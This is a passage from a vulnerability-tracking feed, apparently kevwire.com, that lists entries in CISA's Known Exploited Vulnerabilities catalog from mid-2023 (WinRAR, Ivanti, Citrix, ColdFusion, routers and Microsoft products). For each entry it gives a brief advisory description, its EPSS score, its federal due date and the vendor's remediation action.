https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-33246&date=2026-10-25 CISA added this entry on 2023-09-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 6, 2023; federal due date Sep 27, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### RARLAB WinRAR Code Execution Vulnerability https://kevwire.com/record/CVE-2023-38831 RARLAB WinRAR Code Execution Vulnerability (Aug 24, 2023). RARLAB WinRAR contains an unspecified vulnerability that allows an attacker to execute code when a user attempts to view a benign file within a ZIP archive. EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-38831&date=2026-10-25). Sources: CISA KEV entry CVE-2023-38831: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-38831&date=2026-10-25 CISA added this entry on 2023-08-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 24, 2023; federal due date Sep 14, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ignite Realtime Openfire Path Traversal Vulnerability https://kevwire.com/record/CVE-2023-32315 Ignite Realtime Openfire Path Traversal Vulnerability (Aug 24, 2023). Ignite Realtime Openfire contains a path traversal vulnerability that allows an unauthenticated attacker to access restricted pages in the Openfire Admin Console reserved for administrative users. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-32315&date=2026-10-25). Sources: CISA KEV entry CVE-2023-32315: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-32315&date=2026-10-25 CISA added this entry on 2023-08-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 24, 2023; federal due date Sep 14, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Sentry Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2023-38035 Ivanti Sentry Authentication Bypass Vulnerability (Aug 22, 2023). Ivanti Sentry, formerly known as MobileIron Sentry, contains an authentication bypass vulnerability that may allow an attacker to bypass authentication controls on the administrative interface due to an insufficiently restrictive Apache HTTPD configuration. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-38035&date=2026-10-25). Sources: CISA KEV entry CVE-2023-38035: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-38035&date=2026-10-25 CISA added this entry on 2023-08-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 22, 2023; federal due date Sep 12, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Veeam Backup & Replication Cloud Connect Missing Authentication for Critical Function Vulnerability https://kevwire.com/record/CVE-2023-27532 Veeam Backup & Replication Cloud Connect Missing Authentication for Critical Function Vulnerability (Aug 22, 2023). Veeam Backup & Replication Cloud Connect component contains a missing authentication for critical function vulnerability that allows an unauthenticated user operating within the backup infrastructure network perimeter to obtain encrypted credentials stored in the configuration database. This may lead to an attacker gaining access to the backup infrastructure hosts. EPSS 80.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-27532&date=2026-10-25). Sources: CISA KEV entry CVE-2023-27532: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-27532&date=2026-10-25 CISA added this entry on 2023-08-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 22, 2023; federal due date Sep 12, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe ColdFusion Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2023-26359 Adobe ColdFusion Deserialization of Untrusted Data Vulnerability (Aug 21, 2023). Adobe ColdFusion contains a deserialization of untrusted data vulnerability that could result in code execution in the context of the current user. EPSS 17.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-26359&date=2026-10-25). Sources: CISA KEV entry CVE-2023-26359: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-26359&date=2026-10-25 CISA added this entry on 2023-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 21, 2023; federal due date Sep 11, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix Content Collaboration ShareFile Improper Access Control Vulnerability https://kevwire.com/record/CVE-2023-24489 Citrix Content Collaboration ShareFile Improper Access Control Vulnerability (Aug 16, 2023). Citrix Content Collaboration contains an improper access control vulnerability that could allow an unauthenticated attacker to remotely compromise customer-managed ShareFile storage zones controllers. EPSS 97.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-24489&date=2026-10-25). Sources: CISA KEV entry CVE-2023-24489: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-24489&date=2026-10-25 CISA added this entry on 2023-08-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 16, 2023; federal due date Sep 6, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft .NET Core and Visual Studio Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2023-38180 Microsoft .NET Core and Visual Studio Denial-of-Service Vulnerability (Aug 9, 2023). Microsoft .NET Core and Visual Studio contain an unspecified vulnerability that allows for denial-of-service (DoS). EPSS 14.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-38180&date=2026-10-25). Sources: CISA KEV entry CVE-2023-38180: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-38180&date=2026-10-25 CISA added this entry on 2023-08-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 9, 2023; federal due date Aug 30, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Zyxel P660HN-T1A Routers Command Injection Vulnerability https://kevwire.com/record/CVE-2017-18368 Zyxel P660HN-T1A Routers Command Injection Vulnerability (Aug 7, 2023). Zyxel P660HN-T1A routers contain a command injection vulnerability in the Remote System Log forwarding function, which is accessible by an unauthenticated user and exploited via the remote_host parameter of the ViewLog.asp page. EPSS 94.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-18368&date=2026-10-25). Sources: CISA KEV entry CVE-2017-18368: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-18368&date=2026-10-25 CISA added this entry on 2023-08-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 7, 2023; federal due date Aug 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Endpoint Manager Mobile (EPMM) Path Traversal Vulnerability https://kevwire.com/record/CVE-2023-35081 Ivanti Endpoint Manager Mobile (EPMM) Path Traversal Vulnerability (Jul 31, 2023). Ivanti Endpoint Manager Mobile (EPMM) contains a path traversal vulnerability that enables an authenticated administrator to perform malicious file writes to the EPMM server. This vulnerability can be used in conjunction with CVE-2023-35078 to bypass authentication and ACLs restrictions (if applicable). EPSS 63.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-35081&date=2026-10-25). Sources: CISA KEV entry CVE-2023-35081: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-35081&date=2026-10-25 CISA added this entry on 2023-07-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 31, 2023; federal due date Aug 21, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability https://kevwire.com/record/CVE-2023-37580 Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability (Jul 27, 2023). Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting vulnerability impacting the confidentiality and integrity of data. EPSS 49.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-37580&date=2026-10-25). Sources: CISA KEV entry CVE-2023-37580: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-37580&date=2026-10-25 CISA added this entry on 2023-07-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 27, 2023; federal due date Aug 17, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Kernel Unspecified Vulnerability https://kevwire.com/record/CVE-2023-38606 Apple Multiple Products Kernel Unspecified Vulnerability (Jul 26, 2023). Apple iOS, iPadOS, macOS, tvOS, and watchOS contain an unspecified vulnerability allowing an app to modify a sensitive kernel state. EPSS 2.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-38606&date=2026-10-25). Sources: CISA KEV entry CVE-2023-38606: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-38606&date=2026-10-25 CISA added this entry on 2023-07-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 26, 2023; federal due date Aug 16, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Endpoint Manager Mobile Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2023-35078 Ivanti Endpoint Manager Mobile Authentication Bypass Vulnerability (Jul 25, 2023). Ivanti Endpoint Manager Mobile (EPMM, previously branded MobileIron Core) contains an authentication bypass vulnerability that allows unauthenticated access to specific API paths. An attacker with access to these API paths can access personally identifiable information (PII) such as names, phone numbers, and other mobile device details for users on a vulnerable system. An attacker can also make other configuration changes including installing software and modifying security profiles on registered devices. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-35078&date=2026-10-25). Sources: CISA KEV entry CVE-2023-35078: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-35078&date=2026-10-25 CISA added this entry on 2023-07-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 25, 2023; federal due date Aug 15, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe ColdFusion Improper Access Control Vulnerability https://kevwire.com/record/CVE-2023-29298 Adobe ColdFusion Improper Access Control Vulnerability (Jul 20, 2023). Adobe ColdFusion contains an improper access control vulnerability that allows for a security feature bypass. EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-29298&date=2026-10-25). Sources: CISA KEV entry CVE-2023-29298: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-29298&date=2026-10-25 CISA added this entry on 2023-07-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 20, 2023; federal due date Aug 10, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe ColdFusion Improper Access Control Vulnerability https://kevwire.com/record/CVE-2023-38205 Adobe ColdFusion Improper Access Control Vulnerability (Jul 20, 2023). Adobe ColdFusion contains an improper access control vulnerability that allows for a security feature bypass. EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-38205&date=2026-10-25). Sources: CISA KEV entry CVE-2023-38205: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-38205&date=2026-10-25 CISA added this entry on 2023-07-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 20, 2023; federal due date Aug 10, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix NetScaler ADC and NetScaler Gateway Code Injection Vulnerability https://kevwire.com/record/CVE-2023-3519 Citrix NetScaler ADC and NetScaler Gateway Code Injection Vulnerability (Jul 19, 2023). Citrix NetScaler ADC and NetScaler Gateway contains a code injection vulnerability that allows for unauthenticated remote code execution. EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-3519&date=2026-10-25). Sources: CISA KEV entry CVE-2023-3519: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-3519&date=2026-10-25 CISA added this entry on 2023-07-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 19, 2023; federal due date Aug 9, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Search Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2023-36884 Microsoft Windows Search Remote Code Execution Vulnerability (Jul 17, 2023). Microsoft Windows Search contains an unspecified vulnerability that could allow an attacker to evade Mark of the Web (MOTW) defenses via a specially crafted malicious file, leading to remote code execution. EPSS 99.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36884&date=2026-10-25). Sources: CISA KEV entry CVE-2023-36884: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36884&date=2026-10-25 CISA added this entry on 2023-07-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 17, 2023; federal due date Aug 29, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SolarView Compact Command Injection Vulnerability https://kevwire.com/record/CVE-2022-29303 SolarView Compact Command Injection Vulnerability (Jul 13, 2023). SolarView Compact contains a command injection vulnerability due to improper validation of input values on the send test mail console of the product's web server. EPSS 98.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-29303&date=2026-10-25). Sources: CISA KEV entry CVE-2022-29303: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-29303&date=2026-10-25 CISA added this entry on 2023-07-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 13, 2023; federal due date Aug 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products WebKit Code Execution Vulnerability https://kevwire.com/record/CVE-2023-37450 Apple Multiple Products WebKit Code Execution Vulnerability (Jul 13, 2023). Apple iOS, iPadOS, macOS, and Safari WebKit contain an unspecified vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing. EPSS 18.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-37450&date=2026-10-25). Sources: CISA KEV entry CVE-2023-37450: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-37450&date=2026-10-25 CISA added this entry on 2023-07-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 13, 2023; federal due date Aug 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows MSHTML Platform Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2023-32046 Microsoft Windows MSHTML Platform Privilege Escalation Vulnerability (Jul 11, 2023). Microsoft Windows MSHTML Platform contains an unspecified vulnerability that allows for privilege escalation. EPSS 10.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-32046&date=2026-10-25). Sources: CISA KEV entry CVE-2023-32046: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-32046&date=2026-10-25 CISA added this entry on 2023-07-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 11, 2023; federal due date Aug 1, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Defender SmartScreen Security Feature Bypass Vulnerability https://kevwire.com/record/CVE-2023-32049 Microsoft Windows Defender SmartScreen Security Feature Bypass Vulnerability (Jul 11, 2023). Microsoft Windows Defender SmartScreen contains a security feature bypass vulnerability that allows an attacker to bypass the Open File - Security Warning prompt. EPSS 4.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-32049&date=2026-10-25). Sources: CISA KEV entry CVE-2023-32049: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-32049&date=2026-10-25 CISA added this entry on 2023-07-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 11, 2023; federal due date Aug 1, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Outlook Security Feature Bypass Vulnerability https://kevwire.com/record/CVE-2023-35311 Microsoft Outlook Security Feature Bypass Vulnerability (Jul 11, 2023). Microsoft Outlook contains a security feature bypass vulnerability that allows an attacker to bypass the Microsoft Outlook Security Notice prompt. EPSS 15.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-35311&date=2026-10-25). Sources: CISA KEV entry CVE-2023-35311: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-35311&date=2026-10-25 CISA added this entry on 2023-07-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 11, 2023; federal due date Aug 1, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Error Reporting Service Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2023-36874 Microsoft Windows Error Reporting Service Privilege Escalation Vulnerability (Jul 11, 2023). Microsoft Windows Error Reporting Service contains an unspecified vulnerability that allows for privilege escalation. EPSS 42.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36874&date=2026-10-25). Sources: CISA KEV entry CVE-2023-36874: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36874&date=2026-10-25 CISA added this entry on 2023-07-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 11, 2023; federal due date Aug 1, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Netwrix Auditor Insecure Object Deserialization Vulnerability https://kevwire.com/record/CVE-2022-31199 Netwrix Auditor Insecure Object Deserialization Vulnerability (Jul 11, 2023). Netwrix Auditor User Activity Video Recording component contains an insecure objection deserialization vulnerability that allows an unauthenticated, remote attacker to execute code as the NT AUTHORITY\SYSTEM user. Successful exploitation requires that the attacker is able to reach port 9004/TCP, which is commonly blocked by standard enterprise firewalling. EPSS 36.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-31199&date=2026-10-25). Sources: CISA KEV entry CVE-2022-31199: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-31199&date=2026-10-25 CISA added this entry on 2023-07-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 11, 2023; federal due date Aug 1, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Arm Mali GPU Kernel Driver Use-After-Free Vulnerability https://kevwire.com/record/CVE-2021-29256 Arm Mali GPU Kernel Driver Use-After-Free Vulnerability (Jul 7, 2023). Arm Mali GPU Kernel Driver contains a use-after-free vulnerability that may allow a non-privileged user to gain root privilege and/or disclose information. EPSS 3.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-29256&date=2026-10-25). Sources: CISA KEV entry CVE-2021-29256: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-29256&date=2026-10-25 CISA added this entry on 2023-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 7, 2023; federal due date Jul 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link DIR-859 Router Command Execution Vulnerability https://kevwire.com/record/CVE-2019-17621 D-Link DIR-859 Router Command Execution Vulnerability (Jun 29, 2023). D-Link DIR-859 router contains a command execution vulnerability in the UPnP endpoint URL, /gena.cgi. Exploitation allows an unauthenticated remote attacker to execute system commands as root by sending a specially crafted HTTP SUBSCRIBE request to the UPnP service when connecting to the local network. EPSS 90.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-17621&date=2026-10-25). Sources: CISA KEV entry CVE-2019-17621: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-17621&date=2026-10-25 CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 29, 2023; federal due date Jul 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; 